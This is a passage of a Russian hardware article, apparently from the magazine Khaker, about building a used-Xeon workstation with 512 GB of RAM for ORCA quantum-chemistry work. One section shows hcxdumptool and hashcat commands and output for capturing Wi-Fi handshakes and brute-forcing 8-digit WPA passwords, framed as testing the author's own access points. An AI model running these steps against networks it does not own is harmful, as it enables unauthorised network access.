тема с кам нями типа E5 2680v3/v4 и памятью от 64 Гбайт. Иног да попада ется
старье типа Xeon X5650, но это уже пережи ток прош лого. Впро чем, уче ные
дос таточ но кон серва тив ны, поэто му обо рудо вание час то слу жит десят ки лет.
Прав да, с компь юте рами этот фокус обыч но не про ходит.

В «бытовом» сег менте нес коль ко лет назад очень кру то смот релся AMD
Ryzen Threadripper 3970x и стар шие модели в связ ке с 256 Гбайт DDR4 3200.
Впро чем, этот про цес сор и сей час выг лядит неп лохо, как говорит ся —
дорого-богато. Так же опре делен ной популяр ностью поль зуют ся AMD Ryzen
9 5950X, Intel i9-12900k и млад шие модели, в обо их слу чаях компь ютер осна- 
щают 64 Гбайт опе ратив ки. Но у бытовых решений есть одна неп рият ная
проб лема: подоб ные про цес соры не рас счи таны на высокую круг лосуточ ную
наг рузку. Нап ример, я слы шал нес коль ко печаль ных исто рий о смер ти
от перег рева неудач но соб ранно го дес кто па на Threadripper. Комп помер
на вто рые сут ки, при чина — сла бая сис тема охлажде ния.

Вто рая проб лема бытовых про цев — малый объ ем под держи ваемой
памяти, тут раз ве что Threadripper поз воля ет раз гулять ся, осо бен но стар шие
модели, а для про чих потолок обыч но сос тавля ет 64 Гбайт. В прин ципе,
такого объ ема хва тает прак тичес ки на все задачи, но в уме при ходит ся дер- 
жать, что методы типа  или  могут ока зать- 

ся такому аппа рату не по зубам.

DLPNO-CCSD(T) STEOM-DLPNO-CCSD

ÐÅÊÎÌÅÍÄÀÖÈÈ ÏÎ ÊÎÍÔÈÃÓÐÀÖÈÈ

В сети не очень мно го рекомен даций, как соб рать компь ютер для науч ных
рас четов, тем не менее они есть. Нап ример, такую инс трук цию мож но най ти
на  (недос тупен с рос сий ских IP), и рекомен дации эти доволь но
прос тые: все го, и поболь ше. В пер вую оче редь, конеч но, опе ратив ной
памяти, общепри нятым миниму мом счи тают 64 Гбайт. Мож но исполь зовать
и 32, и даже 16, но тог да при дет ся очень тща тель но под бирать методы
и задачи, так как при любом неудач ном сте чении обсто ятель ств все будет
падать из-за нех ватки опе ратив ки.

фо руме ORCA

Впро чем, полу эмпи рике и прос тым DFT-методам с неболь шим базисом
дол жно хва тить скром ных объ емов RAM, но это ско рее учеб ные задачи.
Вооб ще, памяти дол жно быть 256 Гбайт, а еще луч ше 512, в таком слу чае
тебе будут дос тупны прак тичес ки все широко исполь зуемые методы.

Что же каса ется про цес сора, то луч ше мень ше ядер с высокой так товой
час тотой, чем наобо рот. Тем не менее кван тово-химичес кий софт — это не
игры, и он, разуме ется, заточен под мно го потоков, поэто му при веден ную
выше рекомен дацию сле дует понимать как «16 быс трых ядер луч ше 22 мед- 
ленных».

Так же очень желате лен быс трый SSD на 512 Гбайт и более. Вер нее, так:
для DFT 512 Гбайт хва тит с запасом, а вот для методов post HF край не
желатель но иметь боль ше 1 Тбайт (на моей памяти боль ше 5 Тбайт пока
не отъ еда ло). На худой конец сой дет и RAID 0 на HDD, что, конеч но, про садит
ско рость, но работать будет. Очень хороший свод рекомен даций по сбор ке
такого компь юте ра пуб лику ет иссле дова тель из Пекин ско го уни вер ситета
под ником .Sobereva

При чем эти рекомен дации при водят ся за пос ледние нес коль ко лет и раз- 
биты по годам: любопыт но смот реть, как рас тут аппе титы. В целом автор
очень рату ет за исполь зование б/у сер верных ком понен тов, дабы не раз- 
базари вать казен ные день ги на переп лату вен дорам. Текущая рекомен- 
дуемая им кон фигура ция — это dual AMD EPYC 7R32 на 96 ядер. Исполь зуя
такую машину, автор про вел иссле дова ние, нас коль ко хорошо парал лелит ся
ORCA. Офи циаль ный ману ал говорит, что до вось ми ядер все парал лелит ся
без нарека ний, а с шес тнад цатью уже воз можны проб лемы, но в ману але
это упо мина ется толь ко всколь зь.

Так вот, сог ласно , при уве личе нии количес тва ядер
до 24 рост быс тро дей ствия поч ти линей ный, от 24 до 48 он откло няет ся
от линей ного. На отрезке от 48 до 84 ядер рост еще прос лежива ется, а ког да
их ста новит ся боль ше 84, при рос та уже не наб люда ется. Понят но, что эти
чис ла зависят от исполня емой задачи, но на низ ком уров не все кван- 
тово-химичес кие методы так или ина че сво дят ся к перем ножению мат риц,
нахож дению собс твен ных век торов и зна чений, так что эти резуль таты полез- 
но дер жать в уме. Кро ме того, дру гих тес тов подоб ного раз маха я не встре- 
чал.

тес там Sobereva

ÈÒÅÐÀÖÈß ÏÅÐÂÀß

В сво ей сбор ке я решил сде лать упор на объ ем памяти. На дво ре сто ял
январь 2022 года, кри зис чипов был еще в раз гаре, поэто му вари антов у меня
оста валось нем ного. Если хочешь боль шой объ ем DDR4, то дорога тебе
на «Али» за б/у сер верной памятью, а к ней нужен проц — тоже сер верный б/
у Xeon. Цены тог да были, пря мо ска жем, нев кусные, и на память ушла
изрядная часть бюд жета (8 × 32 Гбайт 2400 DDR4 ECC REG обош лось тог да
в сум му поряд ка 60 тысяч руб лей).

По дер жанные сер верные матери тог да в мой бюд жет не про лез ли, и я
решил оста новить ся на китай ских. О китай ских матерях в целом ходит дур ная
мол ва. В час тнос ти, одно из типич ных боль ных мест этих девай сов — цепи
питания CPU, то есть VRM, поэто му я попытал ся най ти что-то понадеж нее,
нас коль ко это воз можно. Выбор пал на Huananzhi X99-F8: эта материн ская
пла та име ет активное охлажде ние VRM, восемь сло тов памяти и, само собой,
под держи вает четырех каналь ный режим.

Те перь о про цес соре. Пос коль ку пред полага лось, что машина будет дол- 
гое вре мя работать в режиме 24/7 при прак тичес ки пол ной наг рузке, ни о
каком раз гоне и речи не шло, поэто му смот реть в сто рону Xeon 26xxv3 смыс- 
ла осо бого не было, и я выб рал Xeon E5 2683v4. Это 16-ядер ный про цес сор
с час тотой 2600 МГц при пол ной наг рузке. Скром нень ко, зато недоро го:
в 2022 году он сто ил око ло пяти тысяч, а сей час и вов се мень ше двух. Впос- 
ледс твии, ког да цены нем ного сни зились, я заменил камень дру гим —
E5 2696v4, где уже 22 ядра и 2800 МГц при пол ной наг рузке. При рост про- 
изво дитель нос ти, пря мо ска жем, замет ный, и это потолок для выб ранной
мною плат формы, но он и сегод ня смот рится доволь но дос той но.

Для охлажде ния все го это го дела я исполь зовал китай скую «баш ню»
с шестью труб ками и тре мя вен тилято рами.

Баш ня

Впро чем, такая сис тема охлажде ния ока залась даже избы точ ной, и тем- 
перату ра под наг рузкой не пре выша ла 51 гра дус. Так что мож но не парить ся
и ста вить какой-нибудь ноунейм, одна ко он дол жен уметь отво дить при мер- 
но 150 Вт. Кор пус я исполь зовал Zalman S2, в него были уста нов лены шесть
вен тилято ров, три на вдув на фрон таль ной панели и три на выдув, один сза ди
и два свер ху. Вер хние кулеры дос таточ но удач но рас положе ны над зоной
VRM. В целом этот кор пус доволь но дешевый, и боковая стен ка плас тиковая,
ну да нам на него не любовать ся.

Объ ем памяти поз же был уве личен до 512 Гбайт, но уже по сте чению
обсто ятель ств. Любопыт но: китай ские пла ты дер жат план ки по 64 Гбайт, а в
сети я упо мина ния об этом не нашел, прав да, воз можно, потому, что никому
в здра вом уме не при дет в голову напихать в китай скую сбор ку пол терабай та
опе ратив ки. Да и задач, где нуж ны такие объ емы памяти, кро ме кван- 
тово-химичес ких рас четов, я так с ходу и не при думаю.

Ма терин ская пла та, проц, память, VRM

С дис ками выш ла целая чехар да. В пер вом вари анте я исполь зовал под сис- 
тему NVME SSD объ емом 256 Гбайт и HDD на 3 Тбайт для хра нения резуль- 
татов вычис лений. Но ока залось, что для исполь зования DLPNO-CCSD(T)
и осо бен но STEOM-DLPNO-CCSD это го сов сем недос таточ но: мало
и 512 Гбайт, и 1 Тбайт. А если исполь зовать HDD, то ско рость записи/чте ния
ста новит ся узким мес том, осо бен но с уве личе нием количес тва потоков.
Доходит до смеш ного, ког да задача быс трее реша ется в восемь потоков, чем
в шес тнад цать.

Ста ло ясно, что нужен быс трый SSD на 1, а луч ше на 2 или 3 Тбайт,
но цены на твер дотель ные накопи тели боль ше терабай та тог да были, пря мо
ска жем, негуман ные. Поэто му, почесав в затыл ке, я решил, что мне поможет
RAID 0. Так объ ем дис ка мож но наращи вать пос тепен но, ско рость будет рас- 
ти и износ дис ков ста нет умень шать ся — в общем, одни плю сы. Что же
до надеж ности, то тут это не столь важ но: на этих дис ках не пред полага лось
хра нить резуль таты вычис лений. В реали зации этой идеи мне очень при- 
годил ся адап тер PCIe-4NVME — удоб но, ком пак тно, и сло ты PCIe эко номит.

Адап тер PCIe-4NVME

На до иметь в виду, что если его прос то вот кнуть в слот x16, то будет работать
толь ко пер вое гнез до M2. Что бы зарабо тали осталь ные, в БИОСе нуж но нас- 
тро ить бифур кацию сло та X16, то есть перек лючить режим работы с  на 

, тог да все зарабо тает как надо. Не все материн ские пла ты име ют
такую фун кцию. К счастью, Huananzhi X99-F8 это уме ет. В качес тве дис ков я
выб рал недоро гие WD Blue SN550 объ емом 1 Тбайт, тем более в обзо рах
ука зыва лось, что они не склон ны катас тро фичес ки про сажи вать ско рость
пос ле запол нения кеша.

X16 X4
X4 X4 X4

WD Blue SN550 1 Тбайт

Та ким обра зом я со вре менем нарас тил мас сив до 3 Тбайт, и это го, если
не наг леть, хва тает прак тичес ки для всех задач. Впро чем, если не замахи- 
вать ся на методы post HF, а огра ничить ся DFT, то и 1 Тбайт хва тит за гла за.
Для соз дания прог рам мно го RAID 0 я исполь зовал , тут в общем нет

никаких осо бен ностей, и ману алов в сети дос таточ но. Работа ет такое
решение хорошо, одна ко есть вари ант и получ ше: на али ке мож но най ти
отно ситель но недоро го U2 SSD WD Black SN640 аж на 7,5 Тбайт — уль- 
тиматив ное решение.

mdadm

Учи тывая, что исполь зуемый мною софт, а имен но , на дан ный
момент не уме ет работать с GPU, стро гой необ ходимос ти в виде окар те
у меня не воз никло. Одна ко на эта пе нас трой ки и уста нов ки соф та без нее
не обой тись. В свою машину я пос тавил GTX 1080, она мне в свое вре мя дос- 
талась по очень прив лекатель ной цене. У китай ских плат есть один нюанс
в работе с виде окар тами, свя зан ный с нас трой ками CSM: в нашей кон- 
фигура ции она дол жна быть вык лючена.

ORCA

UEFI CSM Support setting

Ню анс тут в том, какие зна чения уста нов лены в БИОСе по умол чанию. Так,
если в пун кте  будет сто ять , то на GTX 1080 изоб ражения ты
не уви дишь, толь ко чер ный экран. Как следс твие, в БИОС ты не зай дешь
и нас трой ки не поменя ешь. Но проб лема реша емая: берем какую-нибудь
древ нюю видяху (про верял на GTX 640 и EAH4650), вты каем, заходим
в БИОС, меня ем нас трой ки, вык люча ем, ста вим назад GTX 1080. Если нуж но
исполь зовать ста рую виде окар ту, а в нас трой ках  сто ит , то алго- 

ритм дей ствий обратный. Подоз реваю, что эта осо бен ность мно гим людям
попор тила нер вы.

video Legacy

video UEFI

В качес тве бло ка питания я исполь зовал Cooler Master Elite V4 600 Вт,
одна ко я бы рекомен довал иметь боль ший запас по мощ ности, так как при
пол ной наг рузке машина очень чувс тви тель на к про сад кам в сети. Бес- 
перебой ник не спа сает: комп ухо дит в перезаг рузку. Более мощ ный блок
питания поз воля ет машине не вылетать, пока сра баты вает бес перебой ник.

ÏËÞÑÛ È ÌÈÍÓÑÛ

К плю сам моей сбор ки мож но отнести цену: ста рые Xeon сто ят, пря мо ска- 
жем, недоро го, осо бен но если не гнать ся за топом в линей ке
E5 2696v4 и E5 2699v4. Любопыт но, что по фак ту это иден тичные про цы с той
лишь раз ницей, что E5 2696v4 пос тавлял ся стро го в сос таве сер веров, поэто- 
му отно ситель но мало известен. Кро ме того, не все пла ты его под держи вают,
имей это в виду. У E5 2699v4 с под дер жкой вро де бы дела обсто ят получ ше,
но и цена у него в пол тора-два раза выше. А в осталь ном они иден тичны.

Хо роший вари ант — E5 2690v4, ядер у него помень ше (14), но и час тота
повыше: 3200 МГц при пол ной наг рузке. Сто ит он око ло двух тысяч. Еще к
плю сам мож но отнести то, что у меня материн ка по фак ту дес ктоп ная,
форм-фак тора ATX, вле зает она прак тичес ки в любой кор пус, да и заморо чек
с ней мень ше, чем с сер верны ми.

К минусам сто ит отнести потен циаль ную ненадеж ность китай ских
материн ских плат. Судя по отзы вам в интерне тах, они не то что бы дох нут, нет,
но тут воля слу чая: может работать, а может и помереть, как повезет. Ну
и VRM у них горячий, о чем я уже писал выше.

Моя работа ет без нарека ний, из замечен ных стран ностей толь ко иног да
не стар тует, зависая на ини циали зации, что лечит ся перезаг рузкой. Прав да,
такое слу чалось лишь пару раз. Так же к минусам однознач но сто ит отнести
баги с UEFI. Сам я багов не видел, но пишут, что в Huananzhi X99-
F8 не работа ет кор рекция оши бок памяти. Отсутс твие WOL тоже очень огор- 
чает. И глав ный минус здесь, пожалуй, то, что со вре менем обно вить эту
машину не вый дет, пос коль ку текущая кон фигура ция уже мак сималь ная.

Продолжение статьи →
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СОБИРАЕМ МОЩНЫЙ КОМПЬЮТЕР
ДЛЯ ВЫЧИСЛЕНИЙ

GEEK  НАЧАЛО СТАТЬИ←
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В качес тве опе раци онной сис темы, разуме ется, я исполь зовал мой любимый
Arch Linux. Он уста нав лива ется лег ко и без пля сок с буб ном. Так как моя
машина пла ниро валась ско рее как рабочая стан ция, а не вычис литель ный
сер вер, то свер ху я накатил «иксы» и Openbox по заветам . Раз ве что
нас тоятель но рекомен дую исполь зовать в  UUID-иден тифика торы дис- 

ков, потому как этих самых дис ков в машине мно го и при ини циали зации наз-
начение им имен про исхо дит с эле мен тами ран дома. В резуль тате уста нов ка
и уда ление новых дис ков и PCIE-устрой ств тоже может поменять име на.
А UUID, в отли чие от имен, уни каль ны и не меня ются, что изба вит нас от неп- 
рият ных сюр при зов.

ArchWiki
fstab

То же самое каса ется и . В про тив ном слу чае может так получить- 
ся, что машина будет гру зить ся через раз. Я, ког да стол кнул ся с таким
поведе нием, был нес коль ко оза дачен. Любопыт но, что ути лита 
при нима ет имя заг рузоч ного раз дела, а в UEFI пишет уже UUID. Поэто му, нас- 
тра ивая заг рузку, вызыва ем  таким обра зом:

EFISTUB

efibootmgr

ebootmgr

#efibootmgr -c -d /dev/nvme0n1 -p 1 -l \vmlinuz-linux -L "Arch 
Linux" -u "initrd=/initramfs-linux.img root=UUID=part_uuid" 

Толь ко име на дис ков не забудь поменять. Есть еще одна занят ная шту ка:
некото рые материн ские пла ты не хотят гру зить ся с записи под номером .

X99-F8 к таким не отно сит ся, но в уме это дер жать сто ит.

0000

Ну и напос ледок я уста новил ORCA с , для дос тупа
к которо му с недав них пор тре бует ся прок си или VPN (Tor не под ходит),
и .

офи циаль ного сай та

Open MPI

ÒÅÑÒ-ÄÐÀÉÂ

В качес тве тес та про изво дитель нос ти я решил исполь зовать что-то приб- 
лижен ное к прак тичес ким задачам. На форуме  наш лась инте рес- 
ная тема, пос вящен ная ,
для которо го исполь зует ся тес товый input-файл для ORCA сле дующе го
содер жания:

chemport.ru
срав нению про изво дитель нос ти рас четных машин

! UKS b3lyp def2-tzvp tightscf defgrid3 nocosx nori 
%pal nprocs N end 
%method 
AngularGrid 7 
IntAcc 5.670 
GridPruning OldPruning 
BFCut 1e-11 
WeightCut 1e-14 
end 
* xyz 0 1 
7        5.263365000     -0.809094000      0.301207000 
6        6.573875000     -0.272788000      0.577214000 
6        7.676247000     -1.298471000      0.365855000 
6        9.040975000     -0.709409000      0.673148000 
7       10.148432000     -1.562897000      0.289452000 
6       10.248995000     -2.816903000      1.002416000 
6       11.415931000     -0.834654000      0.299215000 
6       11.219991000     -3.722976000      0.274540000 
6       12.616201000     -1.728404000      0.596641000 
7       12.479498000     -3.040776000      0.008370000 
6       13.574798000     -3.784343000     -0.374628000 
6       13.407266000     -5.070792000     -0.923040000 
6       14.889954000     -3.303523000     -0.241151000 
6       14.497437000     -5.811691000     -1.337626000 
6       15.954215000     -4.072569000     -0.671221000 
6       15.794150000     -5.329993000     -1.225769000 
7        4.835772000     -0.973795000     -0.996077000 
6        4.395529000     -1.271139000      1.257513000 
6        3.654749000     -1.533350000     -0.876188000 
7        3.327586000     -1.736522000      0.465013000 
6        2.715758000     -1.933372000     -1.852204000 
6        1.545454000     -2.496808000     -1.443497000 
6        2.154252000     -2.302219000      0.878375000 
6        1.256931000     -2.685894000     -0.059367000 
8        4.488440000     -1.288606000      2.474129000 
17      17.581746000     -3.423758000     -0.479631000 
1        2.033998000     -2.399764000      1.945985000 
1        0.324817000     -3.133479000      0.248767000 
1        0.816928000     -2.808697000     -2.178230000 
1        2.953860000     -1.780764000     -2.894034000 
1        6.554111000      0.068581000      1.610272000 
1        6.717863000      0.592377000     -0.068151000 
1        7.466435000     -2.155921000      1.004541000 
1        7.658018000     -1.645300000     -0.666511000 
1        9.150192000      0.220009000      0.109847000 
1        9.093457000     -0.427101000      1.740796000 
1       11.542924000     -0.345204000     -0.668225000 
1       11.416418000     -0.043022000      1.063859000 
1       13.490643000     -1.237666000      0.182744000 
1       12.779915000     -1.795333000      1.679456000 
1       11.393404000     -4.624746000      0.871541000 
1       10.758268000     -4.030853000     -0.666412000 
1       10.539040000     -2.692732000      2.059832000 
1        9.281760000     -3.312189000      1.005791000 
1       15.101308000     -2.351050000      0.214305000 
1       16.645962000     -5.907387000     -1.549807000 
1       14.333360000     -6.792112000     -1.764807000 
1       12.419211000     -5.483721000     -1.049190000 
* 

В фай ле необ ходимо задать количес тво исполь зуемых ядер , а сам
этот файл запус кает рас чет точеч ной энер гии молеку лы, при веден ной
на рисун ке.

nproc N

Тес товая молеку ла

Ре зуль таты тес тов раз личных машин пред став лены ниже. Конеч но, они
не сов сем кор рек тны, пос коль ку вер сии ПО на раз ном железе отли чались,
тем не менее эти резуль таты поз воля ют при кинуть, нас коль ко получив ший ся
у меня компь ютер хорош. Пос леднее зна чение в каж дой стро ке — вре мя
выпол нения вычис ления в фор мате , чем мень ше, тем луч ше.чч:мм:сс

i3-8100 4x3.60GHz 00:39:58 
Ryzen 5500U 6x2.1GHz 00:31:24 
i7-8700 6x3.2 GHz /8Gb DDR4 2666MHz /SATA HDD 0:30:18 
dual Xeon X5650, 12x2.7GHz /144Gb DDR3 /ATA HDD 00:29:45 
Xeon E5-2658v3 12x2.6GHz /32Gb DDR4 2133MHz /SATA HDD 00:23:15 
i5-10600K, 6x4.5GHz /16Gb DDR4 /SDD   00:22:43 
AMD Ryzen 7 3700X 8x3.6GHz   00:19:07 
dual Intel Xeon E5-2680v2 10x3.6 GHz /64Gb DDR3 1066MHz /HDD 00:17:17 
i9-10920x 12x3.5GHz /128Gb DDR4/M.2 SSD 00:14:40 
dual Intel Xeon E5-2697v2 12x2.7GHz /256Gb DDR3 1600MHz /SATA HDD 0:
12:57 
AMD Ryzen 9 5900X/32Gb/HDD 00:12:23 
--- 
Xeon 2696v4 22x2.8GHz /512Gb DDR4 2400MHz /RAID0 M2 SSD 00:10:53 
--- 
dual Xeon E5-2658V3 12x2.6 GHz /32Gb DDR4 2133MHz /HDD 00:10:19 
AMD Ryzen 9 5950X 16x3.4GHz /64Gb DDR4 /M.2 SSD 00:07:33 
Ryzen Threadripper 3970x, 32x3.7GHz /256Gb DDR4 3200MHz /SSD  0:05:32 

В этом ряду соб ранная мною машина смот рится дос таточ но неп лохо, сущес- 
твен но усту пая толь ко AMD Ryzen 9 5950X и Ryzen Threadripper 3970x, что
неуди витель но: там один проц сто ит, как вся моя сбор ка. В прин ципе,
из машины мож но выжать еще нем ного быс тро дей ствия, если отклю чить пат- 
чи уяз вимос тей про цес сора, сни жающие про изво дитель ность. Так, добав- 
ление  в парамет ры ядра отклю чает эти пат чи. Пос ле это го
тест завер шает ся за 00:10:23, что дает выиг рыш в 30 с, или око ло 5%.

mitigations=off

Сто ит ли оно того, воп рос дис кусси онный. Ну, если машина работа ет
в локал ке и, кро ме рас четов, на ней ничего не запус кают, то, навер ное, сто ит.
Любопыт ный факт: при про веде нии рас четов с таким количес твом памяти
SSD прак тичес ки не дает выиг рыша отно ситель но HDD за счет хорошо
работа ющей сис темы кеширо вания фай лов. То есть фак тичес ки чте ние
и запись идет из опе ратив ки. Исклю чение сос тавля ют толь ко тяжелые методы
post HF типа , которые име ют тен денцию съедать всю

память и еще прих ватить нес коль ко терабайт на дис ке под вре мен ные фай лы.
Тут SSD сущес твен но вырыва ется впе ред.

STEOM-DLPNO-CCSD

Чи татель может задать ся воп росом: не избы точ но ли 512 Гбайт опе ратив- 
ной памяти? Отве чу, что это мож но счи тать хорошим запасом. Я наб людал
на этой машине исполь зование более 450 Гбайт памяти и, кро ме того, видел
даже вылеты по при чине нех ватки опе ратив ки. В пла не ста биль нос ти работы
у сис темы тоже все хорошо: так, нес коль ко раз на ней выпол нялись вычис- 
ления, занимав шие око ло недели, и это при поч ти пол ной наг рузке.

ÁÐÓÒÈÌ ÕÅØÈ

То, что машина уме ет счи тать кван ты, мы уже выяс нили, теперь мож но поп- 
робовать что-то более понят ное и ося заемое, нап ример брут форс. Поэто му,
воору жив шись ком плек том ,  и , про ведем
неболь шой экспе римент.

hcxdumptool hcxtools hashcat

Пред ста вим себе, что мы хотим оце нить безопас ность пароля бес про вод- 
ной точ ки дос тупа. Алго ритм дей ствия такой: слу шаем тра фик с помощью

, получен ные дам пы рукопо жатий кон верти руем с помощью

 в фор мат , пос ле чего пыта емся cбру тить

пароль с помощью . Для сбо ра рукопо жатий очень удоб но исполь- 
зовать отдель ный ноут бук, это поз волит не замора чивать ся с перек лючени ем
режимов работы Wi-Fi.

hcxdumptool
hcxpcapngtool hash.hc22000

hashcat

Итак, берем наш ноут, отно сим его в хорошее мес то, где дос тупны все
наши тес товые точ ки дос тупа, и запус каем .hcxdumptool

sudo systemctl stop wpa_supplicant-nl80211@wlp1s0.service 
sudo systemctl stop dhcpcd@wlp1s0.service 
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sudo hcxdumptool -i wlp1s0 -o dump.pcapng --active_beacon
--enable_status=

Тут мы вык люча ем сетевые служ бы  и , пос коль ку нам

нужен пол ный кон троль над сетевой кар той. Здесь  — имя моей

сетевой кар ты, как ее зовут на тво ей машине, ты можешь узнать с помощью
коман ды .

wpa_supplicant dhcpcd
wlp1s0

ip link show
Мы получи ли дамп, теперь кон верти руем его в нуж ный фор мат.

hcxpcapngtool -o hash0.hc22000 -E wordlist dump.pcapng 

Пе рено сим получен ный дамп на наш «супер компь ютер» и запус каем
. Мы будем исполь зовать сра зу и GPU, и CPU, для работы в обо их

режимах надо покол довать с драй верами — этот про цесс под робно опи сан
в ману алах.

hashcat

Ког да-то я про читал очень инте рес ную мысль: не быва ет стой ких паролей,
быва ют пло хие сло вари. Эта сен тенция пол ностью харак теризу ет положе ние
дел. С хорошим сло варем ни у одной сети нет шан сов, но где его взять? Лет
десять назад сре ди паролей час то попада лись «циф ровые вось миз наки»,
и этой машине они впол не по пле чу. Их и будем переби рать. Итак, под берем
циф ровой вось миз начный пароль, бла го тес товые точ ки дос тупа мы нас тра- 
ива ли сами и точ но зна ем, что там исполь зует ся имен но такой.

 1,2 hashcat -D -m 22000 -a 3 hash0.hc22000 "?d?d?d?d?d?d?d?d" |tee 
hashcatlog_bruteforce_cpu+gpu.txt 

В нашем дам пе было восемь записей. В про цес се бру та мы видим сле- 
дующую информа цию.

 

 

Session..........: hashcat 
Status...........: Running 
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL) 
Hash.Target......: hash1.hc22000 
Time.Started.....: Sat Nov xx 19:34:11 20xx (1 min, 23 secs) 
Time.Estimated...: Sat Nov xx 19:53:47 20xx (18 mins, 13 secs) 
Kernel.Feature...: Pure Kernel 
Guess.Mask.......: ?d?d?d?d?d?d?d?d [8] 
Guess.Queue......: 1/1 (100.00%) 
Speed.#1.........:   457.5 kH/s (11.00ms) @ Accel:8 Loops:256 Thr:512 
Vec:1 
Speed.#3.........:    52739 H/s (3.34ms) @ Accel:32 Loops:512 Thr:1 
Vec:8 
Speed.#*.........:   510.2 kH/s 
Recovered........: 2/8 (25.00%) Digests (total), 0/8 (0.00%) Digests 
(new), 1/7 (14.29%) Salts 
Progress.........: 49590784/700000000 (7.08%)
Rejected.........: 0/49590784 (0.00%)
Restore.Point....: 631168/10000000 (6.31%) 
Restore.Sub.#1...: Salt:5 Amplifier:3-4 Iteration:1280-1536 
Restore.Sub.#3...: Salt:5 Amplifier:8-9 Iteration:0-512 
Candidate.Engine.: Device Generator 
Candidates.#1....: 34184288 → 35468755 
Candidates.#3....: 76995269 → 75973388 
Hardware.Mon.#1..: Temp: 75c Fan: 62% Util: 99% Core:1835MHz Mem:4513MHz 
Bus:16 
Hardware.Mon.#3..: Temp: 61c Util: 90%

Во-пер вых, железо чувс тву ет себя неп лохо: 61 гра дус на CPU и 75 на GPU.
И это при том, что машина не опти мизи рова лась под работу видяхи на пол- 
ной наг рузке. Во-вто рых, мы видим, как GTX 1080 на этой задаче рвет Xeon
со страш ной силой: 450 kH про тив 50 kH. А в-треть их, бру ту под дались две
из вось ми записей, и такое положе ние дел сох ранилось до кон ца перебо ра.

Из это го мож но сде лать вывод, что для бру та паролей бес про вод ных
сетей эта машина не сба лан сирова на: нуж но боль ше видях, а вот проц
и память чудовищ но избы точ ны. Десяток точек Wi-Fi с вось миз начным
паролем в один заход лома ются видяхой за 25 тысяч при мер но за десять
минут. Поэто му, если ты исполь зуешь вось миз начные циф ровые пароли,
у меня для тебя пло хие новос ти.

Ре зюме: машину мож но исполь зовать для прос тых задач по перебо ру
паролей, но если ори енти ровать ся имен но на них, то кон фигура цию сто ит
перес мотреть. Так, умень шив объ ем памяти и вста вив вто рую виде окар ту, ты
под нимешь про изво дитель ность в два раза и при этом еще и сэконо мишь.

ÐÀÇÂËÅÊÓÕÀ ÍÀÏÎÑËÅÄÎÊ

А что нас чет игру шек? Конеч но, наз вать этот аппа рат игро вым язык не повер- 
нется, в здра вом уме для игр такое ник то собирать не будет. Мож но соб рать
игро вой комп за цену одной толь ко опе ратив ки. Впро чем, в сети пол но
матери алов по поводу игро вых ПК на «зионах», и все схо дят ся на том, что эти
про цес соры для игр под ходят пло хо в основном из-за низ кой про изво дитель- 
нос ти на одно ядро. Так что играть на Xeon разум но толь ко из сооб ражений
лютой эко номии, чем в нашем слу чае и не пах нет. Тем не менее
какая-никакая виде окар та у нас есть, и в свое вре мя она была ого-го, так что
мож но поп робовать.

Windows 10 LTSC ста вит ся на этот компь ютер совер шенно штат ным обра- 
зом, кор рек тно опре деля ет про цес сор и видит всю опе ратив ную память.
Игрушки тоже уста нав лива ются без проб лем. Все тес ты про води лись в раз- 
решении Full HD, FPS я не изме рял.

Wolfenstein: New Order, Wolfenstein: New Colossus, Old Blood и Young Blood
на высоких нас трой ках бега ют очень бод ро, фри зов не вид но. Cве жий Doom
тоже работа ет на ура. В пред релиз ную Atomic Heart игра ется нор маль но,
но на откры тых локаци ях FPS мес тами про седа ет до 15–20, прав да, тут, воз- 
можно, дело в багах самой игры, на то она и пред релиз ная вер сия.

Cyberpunk 2077 идет ком фор тно, фри зов не замече но. Что еще мож но
поп робовать, ког да у тебя 512 Гбайт опе рати вы? Конеч но, соз дать RAM-диск
и попытать ся запус тить игрушки с него. Ска зано — сде лано: име ем вир туаль- 
ный диск на 256 Гбайт и еще столь ко же опе ратив ки в запасе. Тес ты я про- 
водил на Wolfenstein new colossus и Cyberpunk 2077. Все-таки хорошо зву чит
«запус тить кибер панк из опе ратив ки», есть в этом что-то безум ное. В общем,
все успешно заг ружа ется, а вот ско ростью я был разоча рован: игра запус- 
кает ся, конеч но, быс трее, но не нас толь ко, что бы ска зать «Вау!». Изме нений
в самом игро вом про цес се я вооб ще не заметил. Короче, оно того не сто ит.
Вывод я сде лал прос той: счи тает соб ранный мною компь ютер неп лохо, а вот
для игр и брут форса под ходит неидеаль но, хотя если очень хочет ся, то его
мож но исполь зовать и таким обра зом.

https://wiki.archlinux.org/
https://wiki.archlinux.org/title/EFISTUB
https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface#efibootmgr
https://orcaforum.kofo.mpg.de/
https://en.wikipedia.org/wiki/Open_MPI
https://www.chemport.ru/
https://www.chemport.ru/forum/viewtopic.php?f=71&t=135051&start=60
https://github.com/ZerBea/hcxdumptool
https://github.com/ZerBea/hcxtools
https://hashcat.net/


«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
